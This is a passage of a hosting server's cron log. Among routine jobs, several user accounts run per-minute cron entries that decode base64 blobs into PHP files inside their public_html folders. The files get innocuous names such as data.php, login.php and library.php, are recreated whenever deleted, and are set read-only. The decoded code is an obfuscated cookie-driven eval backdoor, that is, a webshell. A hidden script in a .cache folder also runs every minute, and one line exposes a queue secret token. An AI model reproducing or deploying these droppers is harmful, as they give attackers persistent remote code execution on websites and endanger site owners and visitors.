"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:53:02 medusa CROND[18764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:53:02 medusa CROND[18765]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:53:02 medusa CROND[18767]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:53:02 medusa CROND[18768]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:53:02 medusa CROND[18769]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:53:02 medusa CROND[18772]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:53:02 medusa CROND[18777]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:54:01 medusa CROND[7091]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:54:01 medusa CROND[7090]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:54:02 medusa CROND[7365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:54:02 medusa CROND[7367]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:54:02 medusa CROND[7369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:54:02 medusa CROND[7368]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:54:02 medusa CROND[7370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:54:02 medusa CROND[7372]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:54:02 medusa CROND[7375]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:54:02 medusa CROND[7380]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:54:02 medusa CROND[7397]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:54:02 medusa CROND[7399]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:54:02 medusa CROND[7402]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:55:01 medusa CROND[27480]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:55:01 medusa CROND[27578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:55:01 medusa CROND[27602]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:55:01 medusa CROND[27604]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:55:01 medusa CROND[27603]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:55:01 medusa CROND[27605]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:55:01 medusa CROND[27606]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:55:01 medusa CROND[27607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:55:01 medusa CROND[27610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:55:01 medusa CROND[27609]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gL